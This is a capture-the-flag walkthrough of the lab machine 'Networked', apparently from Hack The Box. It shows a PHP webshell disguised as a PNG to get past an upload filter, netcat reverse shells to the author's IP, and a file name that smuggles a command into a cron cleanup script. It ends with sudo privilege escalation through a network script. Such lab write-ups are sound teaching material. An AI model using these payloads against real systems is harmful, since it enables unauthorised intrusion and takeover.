Networked

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.146 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,443 10.10.10.146 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website just shows a simple message.

I found a few files and subdirectories with gobuster.

gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt,php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

The /backup directory shows a file called backup.tar. Let's download it.

After downloading the file, decompress it.

tar -xf backup.tar

  • -x extract files from an archive.

  • -f specific file.

Now we have four PHP files that seems to be on the website.

ls | grep php

We could upload files in the /upload.php page.

The /photos.php page shows the uploaded files.

Exploitation

As a test, I'm going to upload an image called penguin.png.

The file gets uploaded successfully.

And we can see the image in the /photos.php page.

If I try to upload the same image, but with the name penguin.php.png, it also works.

And we can see it in the gallery.

Something we could do to be able to run commands on the server, create a file called webshell.php.png with some PHP code.

nano webshell.php.png

Now, modify the file with hexeditor, and add the magic numbers of PNG files which are 89 50 4E 47 0D 0A 1A 0A.

hexeditor webshell.php.png

Now, upload it to the website.

It has uploaded successfully, and we can access it.

Finally, we can execute commands on the system.

http://10.10.10.146/uploads/10_10_14_11.php.png?cmd=whoami

Time to get a shell. Let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, if we access the following URL, we should get a shell as apache.

http://10.10.10.146/uploads/10_10_14_11.php.png?cmd=nc -e /bin/bash 10.10.14.11 4444

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

As we can see, we have to become the guly user because only he can read the user flag.

ls -la /home/guly

In his home directory there is also a crontab file which executes the check_attack.php file every three minutes.

cat /home/guly/crontab.guly

The check_attack.php file removes all the files in the /var/www/html/uploads/ directory, one by one, which name doesn't contain an IP address.

cat /home/guly/check_attack.php

We could exploit this script by doing command injection. We could create a file called ; nc -c 10.10.14.11 4444;, so when the script tries to delete it, it will send us a reverse shell.

cd /var/www/html/uploads

touch "; nc -c bash 10.10.14.11 4444"

Now, if we set a netcat listener on port 4444, and wait for a bit, we should get a shell as, and then we'll be able to grab the user flag.

nc -lvnp 4444

Let's set a proper TTY again, the same way we did before. If we check the sudo privileges, we'll see that we can execute a script as root.

sudo -l

The script is writing some data into a file called /etc/sysconfig/network-scripts/ifcfg-guly.

cat /usr/local/sbin/changename.sh

As this article explains, there is a way to execute commands as root. We'll have to run the /usr/local/sbin/changename.sh script with sudo privileges, and give test bash as the value of the interface NAME. Then fill all the other interfaces with random data. Once we get the shell, all we have to do is reap the harvest and take the root flag.

sudo /usr/local/sbin/changename.sh

Last updated

Was this helpful?